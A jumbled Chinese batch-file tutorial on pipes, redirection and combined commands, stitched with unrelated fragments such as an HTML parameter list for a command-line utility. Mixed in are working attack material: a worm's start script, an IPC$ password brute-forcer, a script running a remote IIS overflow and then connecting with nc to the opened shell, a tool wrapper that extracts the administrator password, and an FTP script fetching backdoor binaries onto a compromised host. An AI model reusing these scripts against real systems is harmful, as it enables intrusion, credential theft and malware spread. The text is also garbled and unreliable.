>shift.txt\nexit\n\n执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：\n\nSTART.BAT：\nCALL MUMA.BAT\nSET IPA=192.168\nCALL 10.BAT 0\n:NEARAGAIN\nnetstat -n|find ":" >A.TMP\nFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT\n:START\nCALL RANDOM.BAT\nIF "%NUM1%"=="255" GOTO NEARAGAIN\nIF "%NUM1%"=="192" GOTO NEARAGAIN\nIF "%NUM1%"=="127" GOTO NEARAGAIN\nIF "%NUM2%"=="255" GOTO NEARAGAIN\nIF "%NUM3%"=="255" GOTO NEARAGAIN\nIF "%NUM4%"=="255" GOTO NEARAGAIN\nSET IPA=%NUM1%.%NUM2%\nECHO START > A.LOG\nPING %IPA%.%NUM3%.1>B.TMP\nPING %IPA%.%NUM3%.%NUM4%>>B.TMP\nFIND /C /I "from" B.TMP\nIF ERRORLEVEL 1 GOTO START\nCALL 10.BAT %NUM3%\nDEL A.LOG\nGOTO START\n\n这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。\n\n没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。\n\n不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。\n\n不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。\n\n\n可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂-- --但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。\n\n但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个“振奋人心”的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。\n\n“课间休息”时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。\n\n下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>\n\n''11、|''\n\n这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：\n\nhelp | more\n\n回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。\n\n为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。\n\n''11.1、help命令''。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。\n\n''11.2、more命令''。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。\n看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令 more的输入。所以例十三和下面的例十四是等效的：\n\nhelp > a.txt\nmore a.txt\ndel a.txt\n\n这里利用另一管道命令>生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。\n\n结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。\n\n''12、>、>>''\n\n这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：\n\necho @echo off > a.bat\necho echo This is a pipeline command example. >> a.bat\necho echo It is very easy? >> a.bat\necho echo Believe your self! >> a.bat\necho pause >> a.bat\necho exit >> a.bat\n\n依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：\n\n@echo off\necho This is a pipeline command example.\necho It is very easy?\necho Believe your self!\npause\nexit\n\n看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令 >和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行 exit了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。\n\n''13、<、>&、<&''\n\n这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。\n\n<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。\n>&，将一个句柄的输出写入到另一个句柄的输入中。\n<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。\n\n关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。\n\n\n下面介绍组合命令：&、&&、||\n\n组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。\n\n刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？\n\n忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！\n\n''14、&''\n\n这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：\n\ncopy a.txt b.txt /y & del a.txt\n\n其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&两边的命令是有执行顺序的，从前往后执行。\n\n\n''15、&&''\n\n切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：\n\ndir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\sbackup\swww\n\n如果远程主机存在user.mdb，则copy到本地e:\sbackup\swww，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：\n\nif exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\sbackup\swww\n\n至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。\n\n你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果>到a.txt里就ok了嘛，看例十八：\n\ndir c:\s && dir d:\s > a.txt\n\n仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&& 命令和>命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&&的优先级没有管道命令>的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\s和dir d:\s > a.txt，而并不是如你想的这两部分：dir c:\s && dir d:\s和> a.txt。要使用组合命令&&达到题目的要求，必须得这么写：\n\ndir c:\s > a.txt && dir d:\s >> a.txt\n\n这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\s > a.txt和dir d:\s >> a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。\n\n当然这里还可以利用&命令（自己想一下道理哦）：\n\ndir c:\s > a.txt & dir d:\s >> a.txt\n\n''16、||''\n\n这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：\n\n@echo off\ndir s*.exe || exit\n\n其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：\n\n@echo off\ndir s*.exe || echo Didn't exist file s*.exe & pause & exit\n\n这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。\n\n给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：\n例二十一：\n\n@echo off\ndir a.ttt /a & dir a.txt || exit\n\n例二十二：\n\n@echo off\ndir a.ttt /a && dir a.txt || exit\n\n警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！\n\n有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！\n\n这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！\n将下列代码存为bat文件\n1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名\n2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名\n密码破解出来之后，存放于c:\spass.txt文件里面。\n将下列代码存为pass.bat文件\n@echo off\necho ------------------------------------------------------------------- >>c:\spass.txt\necho ------------------------------------------------------------------- >>c:\spass.txt\ndate /t >>c:\spass.txt\ntime /t >>c:\spass.txt\necho 破解结果： >>c:\spass.txt\nif "%6"=="1" goto 大棒槌是我的说2\n:大棒槌是我的说1\nstart "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3\ngoto quit\n:大棒槌是我的说2\nstart "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5\n:quit\n将下列代码存为test.bat\nnet use \s\s%1\sipc$ %2 /user:"%3"\ngoto answer%ERRORLEVEL%\nrem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2\n:answer0\necho 远程主机："%1" >>c:\spass.txt\necho 用 户："%3" >>c:\spass.txt\necho 密 码：%2 >>c:\spass.txt\nnet use \s\s%1\sipc$ /delet\nexit\n:answer2\n \nFor\n对一组文件中的每个文件运行指定的命令。\n\n可以在批处理程序中或直接从命令提示符使用 for 命令。\n\n要在批处理程序中使用 for 命令，请使用以下语法：\n\nfor %%variable in (set) docommand [command-parameters]\n\n要在命令提示符下使用 for，请使用以下语法：\n\nfor %variable in (set) do command [command-parameters]\n\n参数\n\n%%variable 或 %variable\n\n代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。\n\n(set)\n\n指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。\n\ncommand\n\n指定要在指定的 set 所包含的每个文件上执行的命令。\n\ncommand-parameters\n\n指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。\n\n如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。\nFor 命令的其他形式\n如果启用了命令扩展，将支持如下 for 命令的其他格式：\n\n只限于目录\n\nfor /D [%% | %]variable in (set) docommand [command-parameters]\n\n如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。\n\n递归\n\nfor /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]\n\n进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。\n\n迭代\n\nfor /L [%% | %]variable in (start，step，end) do command [command-parameters]\n\n集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。\n \n\n\nBAT文件技巧\n \n\n \n\n文章结构\n1. 所有内置命令的帮助信息\n2. 环境变量的概念\n3. 内置的特殊符号(实际使用中间注意避开)\n4. 简单批处理文件概念\n5. 附件1 tmp.txt\n6. 附件2 sample.bat\n\n\n######################################################################\n1. 所有内置命令的帮助信息\n######################################################################\nver\ncmd /?\nset /?\nrem /?\nif /?\necho /?\ngoto /?\nfor /?\nshift /?\ncall /?\n其他需要的常用命令\ntype /?\nfind /?\nfindstr /?\ncopy /?\n______________________________________________________________________\n下面将所有上面的帮助输出到一个文件\necho ver >tmp.txt\nver >>tmp.txt\necho cmd /? >>tmp.txt\ncmd /? >>tmp.txt\necho rem /? >>tmp.txt\nrem /? >>tmp.txt\necho if /? >>tmp.txt\nif /? >>tmp.txt\necho goto /? >>tmp.txt\ngoto /? >>tmp.txt\necho for /? >>tmp.txt\nfor /? >>tmp.txt\necho shift /? >>tmp.txt\nshift /? >>tmp.txt\necho call /? >>tmp.txt\ncall /? >>tmp.txt\necho type /? >>tmp.txt\ntype /? >>tmp.txt\necho find /? >>tmp.txt\nfind /? >>tmp.txt\necho findstr /? >>tmp.txt\nfindstr /? >>tmp.txt\necho copy /? >>tmp.txt\ncopy /? >>tmp.txt\ntype tmp.txt\n______________________________________________________\n\n######################################################################\n2. 环境变量的概念\n######################################################################\n_____________________________________________________________________________\nC:Program Files>set\nALLUSERSPROFILE=C:Documents and SettingsAll Users\nCommonProgramFiles=C:Program FilesCommon Files\nCOMPUTERNAME=FIRST\nComSpec=C:WINNTsystem32cmd.exe\nNUMBER_OF_PROCESSORS=1\nOS=Windows_NT\nOs2LibPath=C:WINNTsystem32os2dll;\nPath=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM\nPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH\nPROCESSOR_ARCHITECTURE=x86\nPROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel\nPROCESSOR_LEVEL=6\nPROCESSOR_REVISION=0605\nProgramFiles=C:Program Files\nPROMPT=$P$G\nSystemDrive=C:\nSystemRoot=C:WINNT\nTEMP=C:WINNTTEMP\nTMP=C:WINNTTEMP\nUSERPROFILE=C:Documents and SettingsDefault User\nwindir=C:WINNT\n_____________________________________________________________________________\n\npath: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到\n%windir%system32. 这个目录里面. 一般就可以自动搜索到.\n语法: copy mychenxu.exe %windir%system32.\n使用点(.) 便于一目了然\n对环境变量的引用使用(英文模式,半角)双引号\n%windir% 变量\n%%windir%% 二次变量引用.\n我们常用的还有\n%temp% 临时文件目录\n%windir% 系统目录\n%errorlevel% 退出代码\n\n输出文件到临时文件目录里面.这样便于当前目录整洁.\n\n对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作\nC:>dir p*\nC: 的目录\n2000-09-02 11:47 2,164 PDOS.DEF\n1999-01-03 00:47\n\nProgram Files\n1 个文件 2,164 字节\n1 个目录 1,505,997,824 可用字节\n\nC:>cd pro*\nC:Program Files>\n\nC:>\nC:>cd "Program Files"\nC:Program Files>\n\n\n######################################################################\n3. 内置的特殊符号(实际使用中间注意避开)\n######################################################################\n微软里面内置了下列字符不能够在创建的文件名中间使用\ncon nul aux / | || && ^ > < *\n\nYou can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:\n(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)\nTo create the variable value new&name, type:\nset varname=new^&name\n\nTo create the variable value "new&name", type:\nset varname="new&name"\n\nThe ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.\n\nfind "Pacific Rim" < trade.txt > nwtrade.txt\nIF EXIST filename. (del filename.) ELSE echo filename. missing\n\n> 创建一个文件\n>> 追加到一个文件后面\n@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示\n^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb\necho 123456 ^> aaa\necho 1231231 > bbb\n() 包含命令\n(echo aa & echo bb)\n, 和空格一样的缺省分隔符号.\n; 注释,表示后面为注释\n: 标号作用\n| 管道操作\n& Usage：第一条命令 & 第二条命令 [& 第三条命令...]\n用这种方法可以同时执行多条命令，而不管命令是否执行成功\ndir c:*.exe & dir d:*.exe & dir e:*.exe\n&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]\n当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；\n|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]\n当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；\n\n常用语法格式\nIF [NOT] ERRORLEVEL number command para1 para2\nIF [NOT] string1==string2 command para1 para2\nIF [NOT] EXIST filename command para1 para2\n\nIF EXIST filename command para1 para2\nIF NOT EXIST filename command para1 para2\nIF "%1"=="" goto END\nIF "%1"=="net" goto NET\nIF NOT "%2"=="net" goto OTHER\nIF ERRORLEVEL 1 command para1 para2\nIF NOT ERRORLEVEL 1 command para1 para2\nFOR /L %%i IN (start,step,end) DO command [command-parameters] %%i\nFOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k\n按照字母顺序 ijklmnopq依次取参数.\neol=c - 指一个行注释字符的结尾(就一个)\nskip=n - 指在文件开始时忽略的行数。\ndelims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。\n\n\n######################################################################\n4. 简单批处理文件概念\n######################################################################\n\necho This is test > a.txt\ntype a.txt\necho This is test 11111 >> a.txt\ntype a.txt\necho This is test 22222 > a.txt\ntype a.txt\n第二个echo是追加\n第三个echo将清空a.txt 重新创建 a.txt\n\nnetstat -n | find "3389"\n这个将要列出所有连接3389的用户的ip.\n\n________________test.bat___________________________________________________\n@echo please care\necho plese care 1111\necho plese care 2222\necho plese care 3333\n@echo please care\n@echo plese care 1111\n@echo plese care 2222\n@echo plese care 3333\nrem 不显示注释语句,本行显示\n@rem 不显示注释语句,本行不显示\n@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)\n@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)\n___________________________________________________________________________\n\n下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.\n\n___________________ida.bat_________________________________________________\n@rem ver 1.0\n@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"\n@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"\n\n@if "%1" =="" goto USAGE\n@if NOT "%2" =="" goto SP2\n\n:start\n@echo Now start ...\n@ping %1\n@echo chinese win2k:1 sp1:2 sp2:3\nidahack.exe %1 80 1 99 >%temp%_tmp\n@echo "prog exit code [%errorlevel%] idahack.exe"\n@type %temp%_tmp\n@find "good luck :)" %temp%_tmp\n@echo "prog exit code [%errorlevel%] find [goog luck]"\n@if NOT errorlevel 1 nc.exe %1 99\n@goto END\n\n:SP2\n@idahack.exe %1 80 %2 99 %temp%_tmp\n@type %temp%_tmp\n@find "good luck :)" %temp%_tmp\n@if NOT errorlevel 1 nc.exe %1 99\n@goto END\n\n:USAGE\n@echo Example: ida.bat IP\n@echo Example: ida.bat IP (2,3)\n\n:END\n_____________________ida.bat__END_________________________________\n\n下面我们再来第二个文件.就是得到administrator的口令.\n大多数人说得不到.其实是自己的没有输入正确的信息.\n\n___________________________fpass.bat____________________________________________\n@rem ver 1.0\n@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"\n@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"\n\n@echo start....\n@echo ____________________________________\n@if "%1"=="" goto USAGE\n@findpass.exe %1 %2 %3 >> %temp%_findpass.txt\n@echo "prog exit code [%errorlevel%] findpass.exe"\n@type %temp%_findpass.txt\n@echo ________________________________Here__pass★★★★★★★★\n@ipconfig /all >>%temp%_findpass.txt\n@goto END\n\n:USAGE\n@pulist.exe >%temp%_pass.txt\n@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt\n@echo "Example: fpass.bat %1 %2 %3 %4 !!!"\n@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"\n\n:END\n@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "\n@echo " fpass.bat end [%errorlevel%] !"\n_________________fpass.bat___END________________________________________\n\n还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)\n依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!\n\necho open 210.64.x.4 3396>w\necho read>>w\necho read>>w\necho cd winnt>>w\necho binary>>w\necho pwd >>w\necho get wget.exe >>w\necho get winshell.exe >>w\necho get any.exe >>w\necho quit >>w\nftp -s:w\n<<<
http://comandiux.scot.sk/\ncax是一个单程序的命令行工具总集，功能非常强大，非常适合增强bat批处理文件的功能，提高工作的自动化程度。\n<<slider chkSlidercax_parameter cax_parameter cax "click to open">>\n相关软件：[[nircmd]][[cax_parameter]]
<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">\n<title>Comandiux - parameters</title>\n\n\n\n\n<meta name="robots" content="index,follow">\n<meta name="Author" content="srnec">\n<meta name="Description" content="Comandiux, list of parameters">\n<meta name="Keywords" content="restart, reboot, copy file, close window, force reboot, free memory">\n<link rel="SHORTCUT ICON" href="cax.ico">\n<base target="_parent">\n</head>\n\n<body>\n<b><font size="2">Comandiux - Parameters</font></b><br>\n<div class="prs">\n<p><br>\nComandiux: a command line Angeliux © treeumph Y2k7.</p>\n<p>On command line type command and its parameters eg: /wnc Notepad "Untitled - Notepad"</p>\n<p>General purpose:<br>\n/??? - ask, next parameter is text followed by another commands, if answer is NO, program ends<br>\n/BEEP - PC speaker beep<br>\n/BEPL - play windows default beep<br>\n\n/WAPL - play wav file<br>\n/MVOLUME:0-65535 - set master volume (mixer 0) {use "/MVOLUME:R-10000" do decrease by 10000}<br>\n/MVOLUME1:0-65535 - set master volume on mixer 1<br>\n/MVOLUME2:0-65535 - set master volume on mixer 2<br>\n/MVOLUME3:0-65535 - set master volume on mixer 3<br>\n/MVOLUME4:0-65535 - set master volume on mixer 4<br>\n/MIXERS - list Mixer devices, volume and name<br>\n/SAVER - Run Screen saver<br>\n/ENSAVER - Enable Screen saver<br>\n\n/DISSAVER - Disable Screen saver<br>\n/SHOWDESK - Show Desktop<br>\n/RESTDESK - Restore desktop windows</p>\n<p> /NMLO - Set Num Lock On (only on WinNT / Win2k / XP)<br>\n/NOW file text - Write date, time and text to file ("-" - means no text)</p>\n<p> /MOFF! - Turn Monitor OFF. Use Carefully!<br>\n/MON! - Turn Monitor ON</p>\n<p> /HOTKEY AS:122 - Wait for hotkey ALT+SHIFT+F11 and continue with next parameter (Alt, Control, Shift, Win_key):Virtual_key_code<br>\n\n/UNTIL 22:30 - Wait until time specified in 24 hour format, continues by next parameter<br>\n/VWAIT:120 text - Show Wait window with text, next command follows<br>\n/WAIT:5 - Wait 5 seconds, unvisible<br>\n/CYCLE:20 - repeat action from next parameter, timeout Seconds/10<br>\nnot working with file operations (copy, delete, move, run, 